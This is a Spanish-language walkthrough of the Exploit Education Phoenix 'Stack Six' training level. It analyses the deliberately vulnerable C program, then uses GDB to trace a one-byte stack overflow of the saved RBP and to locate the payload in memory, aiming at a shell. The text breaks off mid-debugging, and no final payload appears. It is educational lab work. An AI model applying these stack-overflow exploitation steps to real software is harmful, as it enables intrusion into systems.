Stack Six
Exploit Education > Phoenix > Stack Six
- ¿Dónde se equivoca Stack Six y qué puedes hacer con él?
-
Dependiendo de la arquitectura en la que estés haciendo esto, puede que necesites explorar más y ser creativo con la forma de resolver este nivel.
- La macro GREET depende de la arquitectura
Análisis del código
El programa contiene:
- Un buffer de 128 bytes en la función
greet()
. - Uso combinado de
strcpy()
ystrncpy()
sin validar correctamente los límites. - El contenido de la variable global
what
se copia primero al buffer, seguido de la entrada del usuario (who
). - Si se compila con la macro
NEWARCH
, es posible modificarwhat
desde los argumentos de línea de comandos. - Esta falta de control permite un buffer overflow, lo que abre la posibilidad de inyectar y ejecutar código arbitrario (por ejemplo, llamar a
execve("/bin/sh", ...)
) para completar el reto.
/*
* phoenix/stack-six, by https://exploit.education
*
* Can you execve("/bin/sh", ...) ?
*
* Why do fungi have to pay double bus fares? Because they take up too
* mushroom.
*/
#include <err.h> // Incluye funciones para mostrar errores y terminar el programa (err, errx, etc.)
#include <stdio.h> // Incluye funciones de entrada/salida estándar (printf, etc.)
#include <stdlib.h> // Incluye funciones de utilidad como getenv(), malloc(), etc.
#include <string.h> // Incluye funciones para manejo de strings (strlen, strcpy, strncpy, etc.)
#include <unistd.h> // Incluye funciones del sistema como execve(), etc.
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
// Define una cadena constante con un mensaje de bienvenida
char *what = GREET; // Puntero a char inicializado con GREET (probablemente definido en un macro al compilar)
char *greet(char *who) { // Función greet que recibe un puntero a char (nombre)
char buffer[128]; // Declara un buffer local de 128 bytes
int maxSize; // Variable para tamaño máximo permitido
maxSize = strlen(who); // maxSize se iguala a la longitud de "who"
if (maxSize > (sizeof(buffer) - 1)) { // Si la longitud es mayor que el tamaño del buffer menos 1
maxSize = sizeof(buffer) - 1; // Ajusta maxSize para evitar desbordar y dejar espacio para '\0'
}
strcpy(buffer, what); // Copia el contenido de "what" dentro del buffer
strncpy(buffer + strlen(buffer), // Copia a partir del final del contenido ya copiado
who, // Lo que viene de "who"
maxSize); // Hasta maxSize caracteres
return strdup(buffer); // Duplica el contenido del buffer en memoria dinámica y lo retorna
}
int main(int argc, char **argv) { // Función principal
char *ptr; // Puntero para almacenar valor de variable de entorno
printf("%s\n", BANNER); // Imprime el mensaje de bienvenida
#ifdef NEWARCH // Si se compiló con la macro NEWARCH definida
if (argv[1]) { // Si hay argumento en la línea de comandos
what = argv[1]; // Cambia "what" para apuntar a ese argumento
}
#endif
ptr = getenv("ExploitEducation"); // Busca la variable de entorno "ExploitEducation"
if (NULL == ptr) { // Si no existe esa variable de entorno
errx(1, "Please specify an environment variable called ExploitEducation");
// Muestra un error y termina con código de salida 1
}
printf("%s\n", greet(ptr)); // Llama a greet con el valor de la variable de entorno y lo imprime
return 0; // Termina el programa
}
Se asigna a la variable de entorno ExploitEducation
una cadena de 127 caracteres 'A'
, usando Python para generarla. Esto permite verificar el comportamiento del programa cuando la función greet()
recibe una entrada cercana al tamaño máximo del buffer (128 bytes).
user@phoenix-amd64:/opt/phoenix/amd64$ export ExploitEducation=$(python -c "print 'A'*127")
user@phoenix-amd64:/opt/phoenix/amd64$ echo $ExploitEducation
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
user@phoenix-amd64:/opt/phoenix/amd64$
Se abre el binario stack-six
en GDB con el fin de iniciar la depuración y analizar en detalle cómo se comporta el programa al manejar la entrada de la variable de entorno vulnerable.
user@phoenix-amd64:/opt/phoenix/amd64$ gdb -q /opt/phoenix/amd64/stack-six
GEF for linux ready, type `gef' to start, `gef config' to configure
71 commands loaded for GDB 8.2.1 using Python engine 3.5
[*] 2 commands could not be loaded, run `gef missing` to know why.
Reading symbols from /opt/phoenix/amd64/stack-six...(no debugging symbols found)...done.
gef➤
Se desensambla la función main
para comprender el flujo de ejecución del programa. luego, se coloca un breakpoint en la instrucción 0x4007e9
(mov rdi, rax
), con el objetivo de inspeccionar el valor retornado por la función greet()
.
gef➤ disass main
Dump of assembler code for function main:
0x000000000040079b <+0>: push rbp
0x000000000040079c <+1>: mov rbp,rsp
0x000000000040079f <+4>: sub rsp,0x20
0x00000000004007a3 <+8>: mov DWORD PTR [rbp-0x14],edi
0x00000000004007a6 <+11>: mov QWORD PTR [rbp-0x20],rsi
0x00000000004007aa <+15>: mov edi,0x400878
0x00000000004007af <+20>: call 0x400530 <puts@plt>
0x00000000004007b4 <+25>: mov edi,0x4008c2
0x00000000004007b9 <+30>: call 0x400520 <getenv@plt>
0x00000000004007be <+35>: mov QWORD PTR [rbp-0x8],rax
0x00000000004007c2 <+39>: cmp QWORD PTR [rbp-0x8],0x0
0x00000000004007c7 <+44>: jne 0x4007dd <main+66>
0x00000000004007c9 <+46>: mov esi,0x4008d8
0x00000000004007ce <+51>: mov edi,0x1
0x00000000004007d3 <+56>: mov eax,0x0
0x00000000004007d8 <+61>: call 0x400540 <errx@plt>
0x00000000004007dd <+66>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004007e1 <+70>: mov rdi,rax
0x00000000004007e4 <+73>: call 0x4006fd <greet>
0x00000000004007e9 <+78>: mov rdi,rax
0x00000000004007ec <+81>: call 0x400530 <puts@plt>
0x00000000004007f1 <+86>: mov eax,0x0
0x00000000004007f6 <+91>: leave
0x00000000004007f7 <+92>: ret
End of assembler dump.
Se desensambla la función greet
para analizar cómo maneja el buffer interno. vemos la instrucción 0x400782
(lea rax,[rbp-0xa0]
), con el fin de inspeccionar directamente la dirección del buffer donde se almacenan los caracteres provenientes de la variable de entorno ExploitEducation
.
La dirección [rbp-0xa0]
marca el inicio del buffer local de 128 bytes reservado en la pila. Esto significa que todos los datos que ingresemos en el programa se almacenan a partir de esa posición de memoria. Al sobrepasar los 128 bytes, empezamos a pisar el resto del stack frame, incluyendo el RBP
guardado y la dirección de retorno.
gef➤ disass greet
Dump of assembler code for function greet:
0x00000000004006fd <+0>: push rbp
0x00000000004006fe <+1>: mov rbp,rsp
0x0000000000400701 <+4>: push rbx
0x0000000000400702 <+5>: sub rsp,0xa8
0x0000000000400709 <+12>: mov QWORD PTR [rbp-0xa8],rdi
0x0000000000400710 <+19>: mov rax,QWORD PTR [rbp-0xa8]
0x0000000000400717 <+26>: mov rdi,rax
0x000000000040071a <+29>: call 0x400580 <strlen@plt>
0x000000000040071f <+34>: mov DWORD PTR [rbp-0x14],eax
0x0000000000400722 <+37>: mov eax,DWORD PTR [rbp-0x14]
0x0000000000400725 <+40>: cmp eax,0x7f
0x0000000000400728 <+43>: jbe 0x400731 <greet+52>
0x000000000040072a <+45>: mov DWORD PTR [rbp-0x14],0x7f
0x0000000000400731 <+52>: mov rdx,QWORD PTR [rip+0x200458] # 0x600b90 <what>
0x0000000000400738 <+59>: lea rax,[rbp-0xa0]
0x000000000040073f <+66>: mov rsi,rdx
0x0000000000400742 <+69>: mov rdi,rax
0x0000000000400745 <+72>: call 0x400510 <strcpy@plt>
0x000000000040074a <+77>: mov eax,DWORD PTR [rbp-0x14]
0x000000000040074d <+80>: movsxd rbx,eax
0x0000000000400750 <+83>: lea rax,[rbp-0xa0]
0x0000000000400757 <+90>: mov rdi,rax
0x000000000040075a <+93>: call 0x400580 <strlen@plt>
0x000000000040075f <+98>: mov rdx,rax
0x0000000000400762 <+101>: lea rax,[rbp-0xa0]
0x0000000000400769 <+108>: lea rcx,[rax+rdx*1]
0x000000000040076d <+112>: mov rax,QWORD PTR [rbp-0xa8]
0x0000000000400774 <+119>: mov rdx,rbx
0x0000000000400777 <+122>: mov rsi,rax
0x000000000040077a <+125>: mov rdi,rcx
0x000000000040077d <+128>: call 0x400550 <strncpy@plt>
0x0000000000400782 <+133>: lea rax,[rbp-0xa0]
0x0000000000400789 <+140>: mov rdi,rax
0x000000000040078c <+143>: call 0x400560 <strdup@plt>
0x0000000000400791 <+148>: add rsp,0xa8
0x0000000000400798 <+155>: pop rbx
0x0000000000400799 <+156>: pop rbp
0x000000000040079a <+157>: ret
End of assembler dump.
gef➤
Se coloca un breakpoint en la dirección 0x400782
dentro de la función greet
. Este punto corresponde a la instrucción lea rax, [rbp-0xa0]
, que carga en rax
la dirección del buffer local de 128 bytes reservado en la pila. Al detener la ejecución aquí, podremos inspeccionar y confirmar la ubicación del buffer antes de que se realice la copia de datos con strncpy()
.
gef➤ b *0x0000000000400782
Breakpoint 1 at 0x400782
gef➤
Se ejecuta el programa con run
(r
), deteniéndose en el breakpoint dentro de greet
. En este punto, los registros y la pila muestran cómo la cadena de 'A'
cargada desde la variable de entorno ExploitEducation
ya se encuentra copiada en el buffer local de 128 bytes. Esto confirma que el desbordamiento afecta directamente a la pila, lo que permitirá manipular el flujo de ejecución en los siguientes pasos.
gef➤ r
Starting program: /opt/phoenix/amd64/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Breakpoint 1, 0x0000000000400782 in greet ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x00007fffffffe512 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rbx : 0x7f
$rcx : 0x00007fffffffe512 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rdx : 0x0
$rsp : 0x00007fffffffe4e0 → 0x00007ffff7ffc948 → "Welcome to phoenix/stack-six, brought to you by ht[...]"
$rbp : 0x00007fffffffe590 → 0x00007fffffffe541 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rsi : 0x0
$rdi : 0x00007fffffffe591 → 0xe900007fffffffe5
$rip : 0x0000000000400782 → <greet+133> lea rax, [rbp-0xa0]
$r8 : 0x101010101010101
$r9 : 0xfefefefefefefeff
$r10 : 0x0
$r11 : 0x202
$r12 : 0x00007fffffffe628 → 0x00007fffffffe82e → "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so[...]"
$r13 : 0x000000000040079b → <main+0> push rbp
$r14 : 0x0
$r15 : 0x0
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe4e0│+0x0000: 0x00007ffff7ffc948 → "Welcome to phoenix/stack-six, brought to you by ht[...]" ← $rsp
0x00007fffffffe4e8│+0x0008: 0x00007fffffffef10 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007fffffffe4f0│+0x0010: "Welcome, I am pleased to meet you AAAAAAAAAAAAAAAA[...]"
0x00007fffffffe4f8│+0x0018: "I am pleased to meet you AAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007fffffffe500│+0x0020: "eased to meet you AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007fffffffe508│+0x0028: "meet you AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007fffffffe510│+0x0030: "u AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007fffffffe518│+0x0038: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400777 <greet+122> mov rsi, rax
0x40077a <greet+125> mov rdi, rcx
0x40077d <greet+128> call 0x400550 <strncpy@plt>
→ 0x400782 <greet+133> lea rax, [rbp-0xa0]
0x400789 <greet+140> mov rdi, rax
0x40078c <greet+143> call 0x400560 <strdup@plt>
0x400791 <greet+148> add rsp, 0xa8
0x400798 <greet+155> pop rbx
0x400799 <greet+156> pop rbp
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "stack-six", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400782 → greet()
[#1] 0x4007e9 → main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
Se imprime la dirección del buffer local en greet
mediante $rbp-0xa0
, obteniendo 0x7fffffffe50
. Esta dirección será clave para la construcción del payload, ya que corresponde al inicio del espacio en la pila donde se copian los datos de entrada.
gef➤ print $rbp-0xa0
$1 = (void *) 0x7fffffffe520
gef➤
Se visualiza el contenido del buffer en formato string usando x/s $rbp-0xa0
. Se observa el mensaje inicial "Welcome, I am pleased to meet you "
concatenado con las 127 'A'
copiadas desde la variable de entorno, seguido de los bytes residuales que permanecen en memoria.
gef➤ x/s $rbp-0xa0
0x7fffffffe520: "Welcome, I am pleased to meet you ", 'A' <repeats 127 times>, "\345\377\377\377\177"
gef➤
Se inspecciona la memoria del buffer con x/22xg $rbp-0xa0
. La salida muestra cómo las 127 'A'
inyectadas llenan el espacio reservado hasta alcanzar la zona de control de la pila, sobrescribiendo el saved RBP en 0x00007fffffffe541
y el saved RIP (dirección de retorno) en 0x00000000004007e9
.
gef➤ x/22xg $rbp-0xa0
0x7fffffffe520: 0x2c656d6f636c6557 0x6c70206d61204920
0x7fffffffe530: 0x6f74206465736165 0x6f79207465656d20
0x7fffffffe540: 0x4141414141412075 0x4141414141414141
0x7fffffffe550: 0x4141414141414141 0x4141414141414141
0x7fffffffe560: 0x4141414141414141 0x4141414141414141
0x7fffffffe570: 0x4141414141414141 0x4141414141414141
0x7fffffffe580: 0x4141414141414141 0x4141414141414141
0x7fffffffe590: 0x4141414141414141 0x4141414141414141
0x7fffffffe5a0: 0x4141414141414141 0x4141414141414141
0x7fffffffe5b0: 0x4141414141414141 0x4141414141414141
0x7fffffffe5c0: 0x00007fffffffe541 0x00000000004007e9
gef➤
Se utiliza info frame
para confirmar las ubicaciones de control en la pila del frame actual (greet
). El saved RIP apunta a 0x4007e9
(retorno a main
) y está almacenado en 0x7fffffffe5c8
, mientras que el saved RBP está en 0x7fffffffe5c0
(apuntando al frame previo). Esto corrobora lo visto en el volcado de memoria: el buffer crece hasta alcanzar y poder sobrescribir primero el saved RBP
y, a continuación, la dirección de retorno.
gef➤ info frame
Stack level 0, frame at 0x7fffffffe5d0:
rip = 0x400782 in greet; saved rip = 0x4007e9
called by frame at 0x7fffffffe551
Arglist at 0x7fffffffe5c0, args:
Locals at 0x7fffffffe5c0, Previous frame's sp is 0x7fffffffe5d0
Saved registers:
rbx at 0x7fffffffe5b8, rbp at 0x7fffffffe5c0, rip at 0x7fffffffe5c8
gef➤
Para calcular el tamaño exacto del buffer en la pila, primero se guarda su dirección en una variable ($buf = $rbp-0xa0
). Luego se imprime el valor de $rbp
y finalmente se calcula la diferencia entre ambos punteros.
El resultado es 160 bytes, lo que significa que el buffer local en greet
ocupa 160 bytes desde su inicio en $rbp-0xa0
hasta justo antes del saved RBP
.
Esto confirma que tenemos un offset de 160 para alcanzar el saved RBP
, y con 8 bytes más podremos sobrescribir el saved RIP
.
gef➤ set $buf = $rbp-0xa0
gef➤ p/x $buf
$2 = 0x7fffffffe520 # es la dirección del buffer
gef➤ p/x $rbp
$3 = 0x7fffffffe5c0 # Dirección saved rbp
gef➤ p/d $rbp - $buf
$4 = 160 # Tamaño del buffer
gef➤
Se calcula el tamaño del mensaje de bienvenida "Welcome, I am pleased to meet you "
utilizando Python.
El resultado muestra que la cadena ocupa 34 bytes, los cuales forman parte del contenido inicial almacenado en el buffer antes de que se copien los caracteres de entrada del usuario.
┌──(root㉿angussMoody)-[/mnt/angussMoody]
└─# python3
Python 3.13.5 (main, Jun 25 2025, 18:55:22) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> len("Welcome, I am pleased to meet you ")
34
Se determina la cantidad de caracteres necesarios para alcanzar el saved RBP.
- El buffer local ocupa 160 bytes hasta llegar al
saved RBP
. - El mensaje de bienvenida tiene 34 bytes.
- La función
strncpy
añade 127 caracteres'A'
.
En total, se escriben 161 bytes, lo que provoca que se sobrescriba 1 byte del saved RBP
.
Este pequeño desbordamiento ya es suficiente para alterar la pila y, con ello, abrir la puerta a controlar el flujo de ejecución.
Total escrito = 34 + 127 = 161 bytes
Overflow sobre saved RBP = 161 - 160 = 1 byte
Nota Importante
Antes de continuar con la explotación, es recomendable normalizar el entorno en GDB, ya que variables como LINES
, COLUMNS
o _
pueden alterar la disposición del stack y dificultar la explotación. De esta forma, las direcciones de la pila permanecerán consistentes dentro y fuera del depurador
gef➤ unset env LINES
gef➤ unset env COLUMNS
gef➤ set env _ /opt/phoenix/amd64/stack-six
El 1 byte sobrescrito corresponde al LSB del saved RBP
(0x7fffffffe5a0
), mientras que el saved RIP
en [rbp+8]
permanece intacto en 0x4007e9
, tal como confirma el comando info frame
.
Además, la inspección de la variable de entorno ExploitEducation
en memoria muestra que los 'A'
se copiaron correctamente hasta la pila.
Esto valida que el payload alcanza el stack y que ya es posible influir parcialmente en el flujo de ejecución.
gef➤ grep ExploitEducation=
[+] Searching 'ExploitEducation=' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rwx
0x7fffffffeeff - 0x7fffffffef36 → "ExploitEducation=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
gef➤
Se calcula la dirección donde inicia el payload en memoria sumando la dirección base de la variable de entorno ExploitEducation
(0x7fffffffeeff
) con la longitud del prefijo "ExploitEducation="
.
El resultado es 0x7fffffffef10
, que corresponde a la dirección exacta donde comienzan los 'A'
. Esta referencia será clave para ubicar el payload durante la explotación.
──(root㉿angussMoody)-[/mnt/angussMoody/pwn_the-ingredient-shop]
└─# python3
Python 3.13.5 (main, Jun 25 2025, 18:55:22) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print(hex(0x7fffffffeeff + len("ExploitEducation=")))
0x7fffffffef10
>>>
Se coloca un breakpoint en 0x4007be
(mov QWORD PTR [rbp-0x8], rax
) dentro de main
.
Este punto es importante porque aquí se guarda en la pila el valor retornado por getenv("ExploitEducation")
. Al detener la ejecución en esta instrucción podemos confirmar que el registro rax
contiene la dirección exacta donde inicia el payload (los 'A'
de la variable de entorno), que luego será pasado como argumento a greet()
.
gef➤ disass main
Dump of assembler code for function main:
0x000000000040079b <+0>: push rbp
0x000000000040079c <+1>: mov rbp,rsp
0x000000000040079f <+4>: sub rsp,0x20
0x00000000004007a3 <+8>: mov DWORD PTR [rbp-0x14],edi
0x00000000004007a6 <+11>: mov QWORD PTR [rbp-0x20],rsi
0x00000000004007aa <+15>: mov edi,0x400878
0x00000000004007af <+20>: call 0x400530 <puts@plt>
0x00000000004007b4 <+25>: mov edi,0x4008c2
0x00000000004007b9 <+30>: call 0x400520 <getenv@plt>
0x00000000004007be <+35>: mov QWORD PTR [rbp-0x8],rax
0x00000000004007c2 <+39>: cmp QWORD PTR [rbp-0x8],0x0
0x00000000004007c7 <+44>: jne 0x4007dd <main+66>
0x00000000004007c9 <+46>: mov esi,0x4008d8
0x00000000004007ce <+51>: mov edi,0x1
0x00000000004007d3 <+56>: mov eax,0x0
0x00000000004007d8 <+61>: call 0x400540 <errx@plt>
0x00000000004007dd <+66>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004007e1 <+70>: mov rdi,rax
0x00000000004007e4 <+73>: call 0x4006fd <greet>
0x00000000004007e9 <+78>: mov rdi,rax
0x00000000004007ec <+81>: call 0x400530 <puts@plt>
0x00000000004007f1 <+86>: mov eax,0x0
0x00000000004007f6 <+91>: leave
0x00000000004007f7 <+92>: ret
End of assembler dump.
gef➤ b *0x00000000004007be
Breakpoint 2 at 0x4007be
gef➤
Se ejecuta el binario con run
o r
y, al detenerse en el breakpoint en 0x4007be
, se confirma que el registro $rax
contiene la dirección del payload.
En este caso, $rax = 0x7fffffffef10
, que apunta exactamente al inicio de la cadena de 'A'
cargada desde la variable de entorno ExploitEducation
.
Esto asegura que el payload ya está disponible en memoria y será usado como argumento para la función greet()
.
gef➤ r
Starting program: /opt/phoenix/amd64/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Breakpoint 2, 0x00000000004007be in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x00007fffffffef10 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rbx : 0x00007fffffffe618 → 0x00007fffffffe811 → "/opt/phoenix/amd64/stack-six"
$rcx : 0x6e
$rdx : 0xf
$rsp : 0x00007fffffffe5a0 → 0x00007fffffffe618 → 0x00007fffffffe811 → "/opt/phoenix/amd64/stack-six"
$rbp : 0x00007fffffffe5c0 → 0x0000000000000001
$rsi : 0x00007fffffffeeff → "ExploitEducation=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rdi : 0x00000000004008c2 → "ExploitEducation"
$rip : 0x00000000004007be → <main+35> mov QWORD PTR [rbp-0x8], rax
$r8 : 0x6e
$r9 : 0x1
$r10 : 0x0
$r11 : 0x202
$r12 : 0x00007fffffffe628 → 0x00007fffffffe82e → "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so[...]"
$r13 : 0x000000000040079b → <main+0> push rbp
$r14 : 0x0
$r15 : 0x0
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe5a0│+0x0000: 0x00007fffffffe618 → 0x00007fffffffe811 → "/opt/phoenix/amd64/stack-six" ← $rsp
0x00007fffffffe5a8│+0x0008: 0x00000001ffffe628
0x00007fffffffe5b0│+0x0010: 0x000000000040079b → <main+0> push rbp
0x00007fffffffe5b8│+0x0018: 0x0000000000000000
0x00007fffffffe5c0│+0x0020: 0x0000000000000001 ← $rbp
0x00007fffffffe5c8│+0x0028: 0x00007ffff7d8fd62 → <__libc_start_main+54> mov edi, eax
0x00007fffffffe5d0│+0x0030: 0x0000000000000000
0x00007fffffffe5d8│+0x0038: 0x00007fffffffe610 → 0x0000000000000001
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x4007af <main+20> call 0x400530 <puts@plt>
0x4007b4 <main+25> mov edi, 0x4008c2
0x4007b9 <main+30> call 0x400520 <getenv@plt>
→ 0x4007be <main+35> mov QWORD PTR [rbp-0x8], rax
0x4007c2 <main+39> cmp QWORD PTR [rbp-0x8], 0x0
0x4007c7 <main+44> jne 0x4007dd <main+66>
0x4007c9 <main+46> mov esi, 0x4008d8
0x4007ce <main+51> mov edi, 0x1
0x4007d3 <main+56> mov eax, 0x0
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "stack-six", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4007be → main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
Ejecutamos de nuevo con gdb y colocamos un breakpoint en la instrucción leave
de main
(0x4007f6
) para detener la ejecución justo antes de restaurar el rbp
y retornar.
Esto permite inspeccionar cómo queda la pila después del overflow y verificar si se ha alcanzado control sobre el saved RIP, ya que en este punto la función main
está a un paso de ejecutar la instrucción ret
.
gef➤ disass main
Dump of assembler code for function main:
0x000000000040079b <+0>: push rbp
0x000000000040079c <+1>: mov rbp,rsp
0x000000000040079f <+4>: sub rsp,0x20
0x00000000004007a3 <+8>: mov DWORD PTR [rbp-0x14],edi
0x00000000004007a6 <+11>: mov QWORD PTR [rbp-0x20],rsi
0x00000000004007aa <+15>: mov edi,0x400878
0x00000000004007af <+20>: call 0x400530 <puts@plt>
0x00000000004007b4 <+25>: mov edi,0x4008c2
0x00000000004007b9 <+30>: call 0x400520 <getenv@plt>
0x00000000004007be <+35>: mov QWORD PTR [rbp-0x8],rax
0x00000000004007c2 <+39>: cmp QWORD PTR [rbp-0x8],0x0
0x00000000004007c7 <+44>: jne 0x4007dd <main+66>
0x00000000004007c9 <+46>: mov esi,0x4008d8
0x00000000004007ce <+51>: mov edi,0x1
0x00000000004007d3 <+56>: mov eax,0x0
0x00000000004007d8 <+61>: call 0x400540 <errx@plt>
0x00000000004007dd <+66>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004007e1 <+70>: mov rdi,rax
0x00000000004007e4 <+73>: call 0x4006fd <greet>
0x00000000004007e9 <+78>: mov rdi,rax
0x00000000004007ec <+81>: call 0x400530 <puts@plt>
0x00000000004007f1 <+86>: mov eax,0x0
0x00000000004007f6 <+91>: leave
0x00000000004007f7 <+92>: ret
End of assembler dump.
gef➤ b *0x00000000004007f6
Breakpoint 1 at 0x4007f6
gef➤
Se ejecuta el binario con r
y para en el breakpoint en la instrucción leave
, se observa el estado de los registros y la pila:
$rbp = 0x7fffffffe541
→ corresponde al saved RBP que fue sobrescrito parcialmente con'A'
.[rbp+8] = 0x4007f6
→ contiene el saved RIP original, que apunta a la instrucción siguiente alcall greet
.- El payload con las
'A'
se encuentra ya en la pila, en0x00007fffffffe5e8
, confirmando que la entrada del entorno fue copiada exitosamente.
Esto confirma lo siguiente:
- El overflow alcanzó y corrompió el saved RBP, evidenciado por el valor
0x7fffffffe541
. - Todavía no se ha sobrescrito el saved RIP, pero estamos a solo 1 byte de lograrlo.
- El payload ya está en memoria (
0x7fffffffef10
), lo que abre la posibilidad de usarlo como shellcode o como referencia en un ret2payload / ret2shellcode.
gef➤ r
Starting program: /opt/phoenix/amd64/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome, I am pleased to meet you AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����
Breakpoint 1, 0x00000000004007f6 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x4141414141414141 ("AAAAAAAA"?)
$rcx : 0x00007ffff7db6d07 → <__stdio_write+83> mov rdi, rax
$rdx : 0x0
$rsp : 0x00007fffffffe5b0 → 0x00007fffffffe628 → 0x00007fffffffe82b → "/opt/phoenix/amd64/stack-six"
$rbp : 0x00007fffffffe541 → 0x0000000000000000
$rsi : 0x00007fffffffe510 → 0x00007ffff7ffc948 → "Welcome, I am pleased to meet you AAAAAAAAAAAAAAAA[...]"
$rdi : 0xa7
$rip : 0x00000000004007f6 → <main+91> leave
$r8 : 0x0000000000600c00 → "Welcome, I am pleased to meet you AAAAAAAAAAAAAAAA[...]"
$r9 : 0xfefefefefefefeff
$r10 : 0x0
$r11 : 0x202
$r12 : 0x00007fffffffe638 → 0x00007fffffffe848 → "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so[...]"
$r13 : 0x000000000040079b → <main+0> push rbp
$r14 : 0x0
$r15 : 0x0
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe5b0│+0x0000: 0x00007fffffffe628 → 0x00007fffffffe82b → "/opt/phoenix/amd64/stack-six" ← $rsp
0x00007fffffffe5b8│+0x0008: 0x00000001ffffe638
0x00007fffffffe5c0│+0x0010: 0x000000000040079b → <main+0> push rbp
0x00007fffffffe5c8│+0x0018: 0x00007fffffffef10 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007fffffffe5d0│+0x0020: 0x0000000000000001
0x00007fffffffe5d8│+0x0028: 0x00007ffff7d8fd62 → <__libc_start_main+54> mov edi, eax
0x00007fffffffe5e0│+0x0030: 0x0000000000000000
0x00007fffffffe5e8│+0x0038: 0x00007fffffffe620 → 0x0000000000000001
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x4007e9 <main+78> mov rdi, rax
0x4007ec <main+81> call 0x400530 <puts@plt>
0x4007f1 <main+86> mov eax, 0x0
→ 0x4007f6 <main+91> leave
0x4007f7 <main+92> ret
0x4007f8 nop DWORD PTR [rax+rax*1+0x0]
0x400800 <__do_global_ctors_aux+0> mov rax, QWORD PTR [rip+0x2001c9] # 0x6009d0
0x400807 <__do_global_ctors_aux+7> cmp rax, 0xffffffffffffffff
0x40080b <__do_global_ctors_aux+11> je 0x400840 <__do_global_ctors_aux+64>
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "stack-six", stopped, reason: BREAKPOINT
